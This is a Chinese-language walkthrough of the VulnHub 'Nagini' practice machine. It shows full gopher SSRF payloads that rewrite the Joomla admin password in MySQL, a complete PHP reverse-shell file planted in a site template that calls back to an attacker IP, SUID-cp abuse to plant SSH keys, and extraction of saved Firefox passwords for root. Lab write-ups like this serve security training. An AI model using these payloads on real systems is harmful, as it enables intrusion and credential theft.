vulnhub靶场-Nagini

​1、靶机信息

靶机名称：Nagini

靶机难度：简单

虚拟机环境：此靶机推荐使用Virtualbox搭建

目标：取得root权限

靶机地址：https://www.vulnhub.com/entry/harrypotter-nagini,689/

2、主机发现

2.1 使用arp协议进行主机发现，找到目标靶机IP地址192.168.2.199

arp-scan -l

2.2 使用nmap进行全端口扫描，发现开启22和80端口

nmap -p- 192.168.2.199

2.3 对发现的端口进行版本服务扫描，22为openssh，80为apache，目标服务器为Debian系统

nmap -sV -p 22,80 192.168.2.199

3、Web信息收集

3.1 访问目标靶机http服务

http://192.168.2.199/

3.2 使用gobuster进行目录发现

gobuster dir -u http://192.168.2.199 -w /home/SecLists/Discovery/Web-Content/common.txt -x php,jsp,aspx,html,txt

http://192.168.2.199/joomla/

http://192.168.2.199/note.txt

3.3 对发现的joomla目录再次进行扫描

gobuster dir -u http://192.168.2.199/joomla -w /home/SecLists/Discovery/Web-Content/common.txt -x php,jsp,aspx,html

3.4 note文件信息收集

http://192.168.2.199/note.txt

文件当中提示我们，需要使用HTTP3服务访问https://quic.nagini.hogwarts 以便进一步通信

4、HTTP 3环境访问

4.1 首先安装HTTP3所需要的环境，详情见代码块。

在使用HTTP3协议访问目标靶机后，可以看到作者提示我们站点存在/internalResourceFeTcher.php和一个configuration的备份文件。

在Github中下载quiche浏览器https://codeload.github.com/cloudflare/quiche/zip/refs/tags/0.16.0unzip quiche-0.16.0.zipcd quiche-0.16.0apt-get updateapt install cargoapt install cmakecargo build --examplesapt purge rustccurl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh执行完上面选择1source $HOME/.cargo/envcargo build --examplescargo testcd  /quiche/target/debug/examples./http3-client https://192.168.2.199

4.2 使用浏览器访问http://192.168.2.199/internalResourceFeTcher.php，可以看到页面显示”欢迎访问内部网络资源获取页面“

5、SSRF漏洞利用

5.1 尝试使用file协议读取本地内容，可以看到成功读取passwd文件内容，判断此处可能存在SSRF漏洞

file:///etc/passwd

5.2 使用http协议读取本地80端口内容，可以看到页面访问成功

http://127.0.0.1:80

5.3 使用gopher协议访问目标靶机的22端口，发现页面回显服务器的SSH服务的版本信息，说明靶机支持gopher协议

gopher://127.0.0.1:3306

5.4 使用Joomla专用CMS扫描工具对站点进行扫描，发现了之前也提到过的configuration的备份文件

joomscan -u http://192.168.2.199/joomla -ec

http://192.168.2.199/joomla/configuration.php.bak

5.5 对bak备份文件进行下载，在文件中发现很多敏感信息泄露

wget http://192.168.2.199/joomla/configuration.php.bak

public $sitename = 'Joomla CMS';     站点名称：Joomla CMS

public $dbtype = 'mysqli';                     数据库类型：Mysql

public $host = 'localhost';                    数据库位于本机

public $user = 'goblin';                          数据库用户名：goblin

public $password = '';                           数据库密码：空

public $secret = 'ILhwP6HTYKcN7qMh';     一个密钥

5.6 目前我们通过暴露的bak文件，知道服务器启用了Mysql数据库，并且用户名为goblin，密码为空，接下来就需要使用gopher协议查询Joomla的后台管理员账密，从而登陆至Web后台进行下一步操作。首先下载一个工具，生成gopher的payload，用于我们使用SSRF漏洞对数据库执行命令。

git clone https://github.com/tarunkant/Gopherus.git

5.7 使用gopher协议查询数据库名称，要在SSRF提交处多执行几次才能够成功，数据库名称为joomla

./gopherus.py --exploit mysqlGive MySQL username: goblin                               Give query to execute: show databases;​gopher://127.0.0.1:3306/_%a5%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%67%6f%62%6c%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%10%00%00%00%03%73%68%6f%77%20%64%61%74%61%62%61%73%65%73%3b%01%00%00%00%01

5.8 查表名，可以看到存放用户的表叫做joomla_users

./gopherus.py --exploit mysqlGive MySQL username: goblin                               Give query to execute: USE joomla; SHOW tables;​gopher://127.0.0.1:3306/_%a5%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%67%6f%62%6c%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%19%00%00%00%03%55%53%45%20%6a%6f%6f%6d%6c%61%3b%20%53%48%4f%57%20%74%61%62%6c%65%73%3b%01%00%00%00%01

5.9 查询表中的列，根据页面回显，发现超级用户账密，但是密码是加密后的，用户名为site_admin@nagini.hogwarts

用户名：site_admin

密码：$2y$10$cmQ.akn2au104AhR4.YJBOC5W13gyV21D/bkoTmbWWqFWjzEW7vay

./gopherus.py --exploit mysqlGive MySQL username: goblinGive query to execute: USE joomla; SELECT * FROM joomla_users;​gopher://127.0.0.1:3306/_%a5%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%67%6f%62%6c%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%28%00%00%00%03%55%53%45%20%6a%6f%6f%6d%6c%61%3b%20%53%45%4c%45%43%54%20%2a%20%46%52%4f%4d%20%6a%6f%6f%6d%6c%61%5f%75%73%65%72%73%3b%01%00%00%00%01

5.10 由于密码无法进行破解，而我们又对数据库拥有增删改查权限，所以我们直接对超管密码进行修改。Mysql数据库支持以MD5形式存放密码，我们先生成一个12345的MD5值

echo -n "admin123" |md5sum

0192023a7bbd73250516f069df18b500

5.11 更新用户名为site_admin的密码，页面回显提示更改成功

./gopherus.py --exploit mysqlGive MySQL username: goblinGive query to execute: use joomla;update joomla_users set password="0192023a7bbd73250516f069df18b500" where username="site_admin";​gopher://127.0.0.1:3306/_%a5%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%67%6f%62%6c%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%6c%00%00%00%03%75%73%65%20%6a%6f%6f%6d%6c%61%3b%75%70%64%61%74%65%20%6a%6f%6f%6d%6c%61%5f%75%73%65%72%73%20%73%65%74%20%70%61%73%73%77%6f%72%64%3d%22%30%31%39%32%30%32%33%61%37%62%62%64%37%33%32%35%30%35%31%36%66%30%36%39%64%66%31%38%62%35%30%30%22%20%77%68%65%72%65%20%75%73%65%72%6e%61%6d%65%3d%22%73%69%74%65%5f%61%64%6d%69%6e%22%3b%01%00%00%00%01

6、Joomla漏洞利用

6.1 使用修改过的密码登陆Joomla后台

http://192.168.2.199/joomla/administrator/

账户：site_admin

密码：admin123

6.2 修改Templates中的beez3中的文件

6.3 对beez3中的index.php进行修改，修改为kali自带的php反弹shell代码，记得修改49行和50行的反弹主机和端口

kali webshell文件路径：/usr/share/webshells/php/php-reverse-shell.php

文件代码如下：

  // php-reverse-shell - A Reverse Shell implementation in PHP  // Copyright (C) 2007 pentestmonkey@pentestmonkey.net  //  // This tool may be used for legal purposes only.  Users take full responsibility  // for any actions performed using this tool.  The author accepts no liability  // for damage caused by this tool.  If these terms are not acceptable to you, then  // do not use this tool.  //  // In all other respects the GPL version 2 applies:  //  // This program is free software; you can redistribute it and/or modify  // it under the terms of the GNU General Public License version 2 as  // published by the Free Software Foundation.  //  // This program is distributed in the hope that it will be useful,  // but WITHOUT ANY WARRANTY; without even the implied warranty of  // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the  // GNU General Public License for more details.  //  // You should have received a copy of the GNU General Public License along  // with this program; if not, write to the Free Software Foundation, Inc.,  // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.  //  // This tool may be used for legal purposes only.  Users take full responsibility  // for any actions performed using this tool.  If these terms are not acceptable to  // you, then do not use this tool.  //  // You are encouraged to send comments, improvements or suggestions to  // me at pentestmonkey@pentestmonkey.net  //  // Description  // -----------  // This script will make an outbound TCP connection to a hardcoded IP and port.  // The recipient will be given a shell running as the current user (apache normally).  //  // Limitations  // -----------  // proc_open and stream_set_blocking require PHP version 4.3+, or 5+  // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.  // Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.  //  // Usage  // -----  // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.​  set_time_limit (0);$VERSION = "1.0";$ip = '192.168.2.198';  // CHANGE THIS$port = 1234;       // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;​//// Daemonise ourself if possible to avoid zombies later//​// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies.  Worth a try...if (function_exists('pcntl_fork')) {  // Fork and have the parent process exit  $pid = pcntl_fork();​  if ($pid == -1) {    printit("ERROR: Can't fork");    exit(1);  }​  if ($pid) {    exit(0);  // Parent exits  }​  // Make the current process a session leader  // Will only succeed if we forked  if (posix_setsid() == -1) {    printit("Error: Can't setsid()");    exit(1);  }​  $daemon = 1;} else {  printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");}​// Change to a safe directorychdir("/");​// Remove any umask we inheritedumask(0);​//// Do the reverse shell...//​// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}​// Spawn shell process$descriptorspec = array(0 => array("pipe", "r"),  // stdin is a pipe that the child will read from1 => array("pipe", "w"),  // stdout is a pipe that the child will write to2 => array("pipe", "w")   // stderr is a pipe that the child will write to);​$process = proc_open($shell, $descriptorspec, $pipes);​if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}​// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);​printit("Successfully opened reverse shell to $ip:$port");​while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}​// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}​// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);​// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}​// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}​// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}}​fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);​// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {if (!$daemon) {print "$string\n";}}​?> 

7、反弹Shell

7.1 反弹shell，成功获得www-data的权限

kali：nc -vlp 9999

浏览器访问：http://192.168.2.199/joomla/templates/beez3/index.php

7.2 升级一下shell，方便后续操作

/bin/bash -i

7.3 查看/home目录下，靶机一共有两个用户，hermoine和snape

7.4 登陆至第一个用户hermoine用户中，发现有horcrux2.txt和火狐浏览留下的文件，但因权限原因拒绝访问

7.5 查看snape用户，发现有一个.creds.txt，里面是一串Base64编码，怀疑是snape的SSH密码

解码前：TG92ZUBsaWxseQ==

解码后：Love@lilly

7.6 成功使用SSH尝试登陆至普通用户snape

7.7 在/var/www/html/horcrux1.txt发现一个flag文件

horcrux_{MzogU2x5dGhFcmlOJ3MgTG9jS0VldCBkRXN0cm9ZZUQgYlkgUm9O}

7.8 在另外一个用户hermoine目录中，/home/hermoine/bin，发现一个具有SUID权限的CP功能，将源复制到目的地，或将多个源复制到目录

那接下来的思路就很明确了，想要无密钥登陆至hermoine用户，我们就需要生成一个SSH密钥对，将公钥传送到目标靶机，通过这个以hermoine权限执行并具有SUID权限的CP命令，将公钥复制到hermoine用户的SSH目录下即可实现无密码登陆

8、SSH公钥登陆

8.1 在kali生成SSH密钥对

kali：ssh-keygen

8.2 先将公钥从kali上传送到目标靶机snape用户的主目录下

cd .ssh

scp id_rsa.pub snape@192.168.2.199:~/

8.3 在snape用户下，将文件名更改为授权密钥的名称，在添加权限后远程复制到hermoine的ssh目录下

mv id_rsa.pub authorized_keys

chmod 640 authorized_keys

./su_cp -p /home/snape/authorized_keys /home/hermoine/.ssh/

8.4 在kali上无密钥直接以hermoine用户登陆至目标靶机

ssh hermoine@192.168.2.199

8.5 成功拿到第二个flag

horcrux_{NDogSGVsZ2EgSHVmZmxlcHVmZidzIEN1cCBkZXN0cm95ZWQgYnkgSGVybWlvbmU=}

9、火狐浏览器密码还原

9.1 我们在用户根目录下，发现一个.mozilla的文件，此文件中存放火狐浏览器的配置文件

9.2 在kali上下载我们所使用的工具，从配置文件中恢复密码

git clone https://github.com/unode/firefox_decrypt.git

9.3 将配置文件下载到kali本地

scp -rp hermoine@192.168.2.199:/home/hermoine/.mozilla /root/Downloads

9.4 使用firefox_decrypt工具，我们成功提取到root的账密

cd firefox_decrypt

python3 firefox_decrypt.py /root/Downloads/.mozilla/firefox

9.5 使用root账密成功登陆，并且拿到最后一个flag

Username: root

Password: @Alohomora#123